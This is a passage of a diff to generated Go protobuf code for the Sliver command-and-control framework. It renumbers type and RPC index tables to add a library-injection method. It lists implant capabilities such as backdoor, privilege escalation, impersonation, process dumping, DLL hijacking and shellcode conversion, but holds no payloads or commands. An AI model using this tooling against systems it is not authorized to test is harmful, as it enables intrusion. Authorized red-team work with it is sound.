-	(*sliverpb.RegistryRead)(nil),          // 142: sliverpb.RegistryRead
-	(*sliverpb.RegistryWrite)(nil),         // 143: sliverpb.RegistryWrite
-	(*sliverpb.RegistryCreateKey)(nil),     // 144: sliverpb.RegistryCreateKey
-	(*sliverpb.RegistrySubKeyList)(nil),    // 145: sliverpb.RegistrySubKeyList
-	(*sliverpb.RegistryValuesList)(nil),    // 146: sliverpb.RegistryValuesList
-	(*sliverpb.SSHCommand)(nil),            // 147: sliverpb.SSHCommand
-	(*clientpb.DllHijack)(nil),             // 148: clientpb.DllHijack
-	(*sliverpb.GetPrivs)(nil),              // 149: sliverpb.GetPrivs
-	(*sliverpb.RegisterExtension)(nil),     // 150: sliverpb.RegisterExtension
-	(*sliverpb.CallExtension)(nil),         // 151: sliverpb.CallExtension
-	(*sliverpb.ListExtensions)(nil),        // 152: sliverpb.ListExtensions
-	(*sliverpb.WGPortForward)(nil),         // 153: sliverpb.WGPortForward
-	(*sliverpb.WGSocks)(nil),               // 154: sliverpb.WGSocks
-	(*sliverpb.WGTCPForwarders)(nil),       // 155: sliverpb.WGTCPForwarders
-	(*sliverpb.WGSocksServers)(nil),        // 156: sliverpb.WGSocksServers
-	(*sliverpb.Shell)(nil),                 // 157: sliverpb.Shell
-	(*sliverpb.Portfwd)(nil),               // 158: sliverpb.Portfwd
-	(*clientpb.Event)(nil),                 // 159: clientpb.Event
+	(*sliverpb.LibInjectReq)(nil),          // 69: sliverpb.LibInjectReq
+	(*sliverpb.OpenSession)(nil),           // 70: sliverpb.OpenSession
+	(*sliverpb.RegisterExtensionReq)(nil),  // 71: sliverpb.RegisterExtensionReq
+	(*sliverpb.CallExtensionReq)(nil),      // 72: sliverpb.CallExtensionReq
+	(*sliverpb.ListExtensionsReq)(nil),     // 73: sliverpb.ListExtensionsReq
+	(*sliverpb.WGPortForwardStartReq)(nil), // 74: sliverpb.WGPortForwardStartReq
+	(*sliverpb.WGPortForwardStopReq)(nil),  // 75: sliverpb.WGPortForwardStopReq
+	(*sliverpb.WGSocksStartReq)(nil),       // 76: sliverpb.WGSocksStartReq
+	(*sliverpb.WGSocksStopReq)(nil),        // 77: sliverpb.WGSocksStopReq
+	(*sliverpb.WGTCPForwardersReq)(nil),    // 78: sliverpb.WGTCPForwardersReq
+	(*sliverpb.WGSocksServersReq)(nil),     // 79: sliverpb.WGSocksServersReq
+	(*sliverpb.ShellReq)(nil),              // 80: sliverpb.ShellReq
+	(*sliverpb.PortfwdReq)(nil),            // 81: sliverpb.PortfwdReq
+	(*sliverpb.Socks)(nil),                 // 82: sliverpb.Socks
+	(*sliverpb.SocksData)(nil),             // 83: sliverpb.SocksData
+	(*sliverpb.Tunnel)(nil),                // 84: sliverpb.Tunnel
+	(*sliverpb.TunnelData)(nil),            // 85: sliverpb.TunnelData
+	(*clientpb.Version)(nil),               // 86: clientpb.Version
+	(*clientpb.Operators)(nil),             // 87: clientpb.Operators
+	(*clientpb.Sessions)(nil),              // 88: clientpb.Sessions
+	(*clientpb.Session)(nil),               // 89: clientpb.Session
+	(*clientpb.Beacons)(nil),               // 90: clientpb.Beacons
+	(*clientpb.BeaconTasks)(nil),           // 91: clientpb.BeaconTasks
+	(*commonpb.Response)(nil),              // 92: commonpb.Response
+	(*clientpb.Jobs)(nil),                  // 93: clientpb.Jobs
+	(*clientpb.KillJob)(nil),               // 94: clientpb.KillJob
+	(*clientpb.MTLSListener)(nil),          // 95: clientpb.MTLSListener
+	(*clientpb.WGListener)(nil),            // 96: clientpb.WGListener
+	(*clientpb.DNSListener)(nil),           // 97: clientpb.DNSListener
+	(*clientpb.HTTPListener)(nil),          // 98: clientpb.HTTPListener
+	(*clientpb.StagerListener)(nil),        // 99: clientpb.StagerListener
+	(*clientpb.AllLoot)(nil),               // 100: clientpb.AllLoot
+	(*clientpb.AllHosts)(nil),              // 101: clientpb.AllHosts
+	(*clientpb.Generate)(nil),              // 102: clientpb.Generate
+	(*clientpb.ImplantBuilds)(nil),         // 103: clientpb.ImplantBuilds
+	(*clientpb.Canaries)(nil),              // 104: clientpb.Canaries
+	(*clientpb.WGClientConfig)(nil),        // 105: clientpb.WGClientConfig
+	(*clientpb.UniqueWGIP)(nil),            // 106: clientpb.UniqueWGIP
+	(*clientpb.ImplantProfiles)(nil),       // 107: clientpb.ImplantProfiles
+	(*clientpb.MsfStager)(nil),             // 108: clientpb.MsfStager
+	(*clientpb.ShellcodeRDI)(nil),          // 109: clientpb.ShellcodeRDI
+	(*clientpb.Compiler)(nil),              // 110: clientpb.Compiler
+	(*clientpb.Websites)(nil),              // 111: clientpb.Websites
+	(*sliverpb.Ps)(nil),                    // 112: sliverpb.Ps
+	(*sliverpb.Terminate)(nil),             // 113: sliverpb.Terminate
+	(*sliverpb.Ifconfig)(nil),              // 114: sliverpb.Ifconfig
+	(*sliverpb.Netstat)(nil),               // 115: sliverpb.Netstat
+	(*sliverpb.Ls)(nil),                    // 116: sliverpb.Ls
+	(*sliverpb.Pwd)(nil),                   // 117: sliverpb.Pwd
+	(*sliverpb.Rm)(nil),                    // 118: sliverpb.Rm
+	(*sliverpb.Mkdir)(nil),                 // 119: sliverpb.Mkdir
+	(*sliverpb.Download)(nil),              // 120: sliverpb.Download
+	(*sliverpb.Upload)(nil),                // 121: sliverpb.Upload
+	(*sliverpb.ProcessDump)(nil),           // 122: sliverpb.ProcessDump
+	(*sliverpb.RunAs)(nil),                 // 123: sliverpb.RunAs
+	(*sliverpb.Impersonate)(nil),           // 124: sliverpb.Impersonate
+	(*sliverpb.RevToSelf)(nil),             // 125: sliverpb.RevToSelf
+	(*sliverpb.GetSystem)(nil),             // 126: sliverpb.GetSystem
+	(*sliverpb.Task)(nil),                  // 127: sliverpb.Task
+	(*sliverpb.ExecuteAssembly)(nil),       // 128: sliverpb.ExecuteAssembly
+	(*sliverpb.Migrate)(nil),               // 129: sliverpb.Migrate
+	(*sliverpb.Execute)(nil),               // 130: sliverpb.Execute
+	(*sliverpb.Sideload)(nil),              // 131: sliverpb.Sideload
+	(*sliverpb.SpawnDll)(nil),              // 132: sliverpb.SpawnDll
+	(*sliverpb.Screenshot)(nil),            // 133: sliverpb.Screenshot
+	(*sliverpb.NamedPipes)(nil),            // 134: sliverpb.NamedPipes
+	(*sliverpb.TCPPivot)(nil),              // 135: sliverpb.TCPPivot
+	(*sliverpb.PivotList)(nil),             // 136: sliverpb.PivotList
+	(*sliverpb.ServiceInfo)(nil),           // 137: sliverpb.ServiceInfo
+	(*sliverpb.MakeToken)(nil),             // 138: sliverpb.MakeToken
+	(*sliverpb.EnvInfo)(nil),               // 139: sliverpb.EnvInfo
+	(*sliverpb.SetEnv)(nil),                // 140: sliverpb.SetEnv
+	(*sliverpb.UnsetEnv)(nil),              // 141: sliverpb.UnsetEnv
+	(*sliverpb.Backdoor)(nil),              // 142: sliverpb.Backdoor
+	(*sliverpb.RegistryRead)(nil),          // 143: sliverpb.RegistryRead
+	(*sliverpb.RegistryWrite)(nil),         // 144: sliverpb.RegistryWrite
+	(*sliverpb.RegistryCreateKey)(nil),     // 145: sliverpb.RegistryCreateKey
+	(*sliverpb.RegistrySubKeyList)(nil),    // 146: sliverpb.RegistrySubKeyList
+	(*sliverpb.RegistryValuesList)(nil),    // 147: sliverpb.RegistryValuesList
+	(*sliverpb.SSHCommand)(nil),            // 148: sliverpb.SSHCommand
+	(*clientpb.DllHijack)(nil),             // 149: clientpb.DllHijack
+	(*sliverpb.GetPrivs)(nil),              // 150: sliverpb.GetPrivs
+	(*sliverpb.LibInject)(nil),             // 151: sliverpb.LibInject
+	(*sliverpb.RegisterExtension)(nil),     // 152: sliverpb.RegisterExtension
+	(*sliverpb.CallExtension)(nil),         // 153: sliverpb.CallExtension
+	(*sliverpb.ListExtensions)(nil),        // 154: sliverpb.ListExtensions
+	(*sliverpb.WGPortForward)(nil),         // 155: sliverpb.WGPortForward
+	(*sliverpb.WGSocks)(nil),               // 156: sliverpb.WGSocks
+	(*sliverpb.WGTCPForwarders)(nil),       // 157: sliverpb.WGTCPForwarders
+	(*sliverpb.WGSocksServers)(nil),        // 158: sliverpb.WGSocksServers
+	(*sliverpb.Shell)(nil),                 // 159: sliverpb.Shell
+	(*sliverpb.Portfwd)(nil),               // 160: sliverpb.Portfwd
+	(*clientpb.Event)(nil),                 // 161: clientpb.Event
 }
 var file_rpcpb_services_proto_depIdxs = []int32{
 	0,   // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -711,142 +717,144 @@ var file_rpcpb_services_proto_depIdxs = []int32{
 	66,  // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
 	67,  // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
 	68,  // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
-	69,  // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
-	70,  // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
-	71,  // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
-	72,  // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
-	73,  // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
-	74,  // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
-	75,  // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
-	76,  // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
-	77,  // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
-	78,  // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
-	79,  // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
-	80,  // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
-	81,  // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
-	81,  // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
-	82,  // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
-	83,  // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
-	83,  // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
-	84,  // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
-	0,   // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
-	85,  // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
-	86,  // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
-	0,   // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
-	87,  // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
-	88,  // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
-	89,  // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
-	3,   // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
-	0,   // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
-	90,  // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
-	4,   // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
-	91,  // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
-	0,   // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
-	92,  // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
-	93,  // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
-	94,  // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
-	95,  // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
-	96,  // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
-	97,  // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
-	97,  // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
-	98,  // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
-	98,  // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
-	11,  // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
-	0,   // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
-	11,  // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
-	11,  // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
-	99,  // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
-	99,  // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
-	100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
-	12,  // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
-	0,   // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
-	0,   // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
-	101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
-	101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
-	102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
-	0,   // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
-	103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
-	104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
-	105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
-	106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
-	0,   // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
-	17,  // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
-	107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
-	108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
-	109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
-	110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
-	20,  // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
-	0,   // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
-	20,  // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
-	20,  // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
-	20,  // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
-	23,  // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
-	111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
-	112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
-	113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
-	114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
-	115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
-	116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
-	116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
-	117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
-	118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
-	119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
-	120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
-	121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
-	122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
-	123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
-	124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
-	125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
-	126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
-	126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
-	126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
-	127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
-	128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
-	129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
-	129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
-	130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
-	131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
-	132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
-	133, // 192: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
-	134, // 193: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
-	135, // 194: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
-	136, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
-	136, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
-	136, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
-	137, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
-	138, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
-	139, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
-	140, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
-	141, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
-	142, // 203: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
-	143, // 204: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
-	144, // 205: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
-	145, // 206: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
-	146, // 207: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
-	147, // 208: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
-	148, // 209: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
-	149, // 210: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
-	69,  // 211: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
-	150, // 212: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
-	151, // 213: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
-	152, // 214: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
-	153, // 215: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
-	153, // 216: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
-	154, // 217: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
-	154, // 218: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
-	155, // 219: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
-	156, // 220: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
-	157, // 221: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
-	158, // 222: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
-	81,  // 223: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
-	0,   // 224: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
-	82,  // 225: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
-	83,  // 226: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
-	0,   // 227: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
-	84,  // 228: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
-	159, // 229: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
-	115, // [115:230] is the sub-list for method output_type
-	0,   // [0:115] is the sub-list for method input_type
+	69,  // 96: rpcpb.SliverRPC.LibInject:input_type -> sliverpb.LibInjectReq
+	70,  // 97: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
+	71,  // 98: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
+	72,  // 99: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
+	73,  // 100: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
+	74,  // 101: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
+	75,  // 102: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
+	76,  // 103: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
+	77,  // 104: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
+	78,  // 105: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
+	79,  // 106: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
+	80,  // 107: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
+	81,  // 108: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+	82,  // 109: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+	82,  // 110: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+	83,  // 111: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+	84,  // 112: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+	84,  // 113: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+	85,  // 114: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+	0,   // 115: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+	86,  // 116: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+	87,  // 117: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
+	0,   // 118: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+	88,  // 119: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+	89,  // 120: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
+	90,  // 121: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+	3,   // 122: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+	0,   // 123: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+	91,  // 124: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+	4,   // 125: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+	92,  // 126: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+	0,   // 127: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+	93,  // 128: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+	94,  // 129: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+	95,  // 130: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
+	96,  // 131: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
+	97,  // 132: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
+	98,  // 133: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
+	98,  // 134: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
+	99,  // 135: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+	99,  // 136: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
+	11,  // 137: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+	0,   // 138: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+	11,  // 139: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+	11,  // 140: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+	100, // 141: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+	100, // 142: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
+	101, // 143: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+	12,  // 144: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+	0,   // 145: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+	0,   // 146: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+	102, // 147: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+	102, // 148: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+	103, // 149: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+	0,   // 150: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+	104, // 151: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
+	105, // 152: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+	106, // 153: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+	107, // 154: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+	0,   // 155: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+	17,  // 156: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+	108, // 157: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
+	109, // 158: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+	110, // 159: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+	111, // 160: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+	20,  // 161: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+	0,   // 162: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+	20,  // 163: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+	20,  // 164: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+	20,  // 165: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+	23,  // 166: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+	112, // 167: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+	113, // 168: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+	114, // 169: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+	115, // 170: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+	116, // 171: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+	117, // 172: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+	117, // 173: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+	118, // 174: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+	119, // 175: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+	120, // 176: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+	121, // 177: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+	122, // 178: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+	123, // 179: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+	124, // 180: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+	125, // 181: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+	126, // 182: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+	127, // 183: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+	127, // 184: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+	127, // 185: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+	128, // 186: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+	129, // 187: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+	130, // 188: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+	130, // 189: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
+	131, // 190: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+	132, // 191: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+	133, // 192: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+	134, // 193: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
+	135, // 194: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
+	136, // 195: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
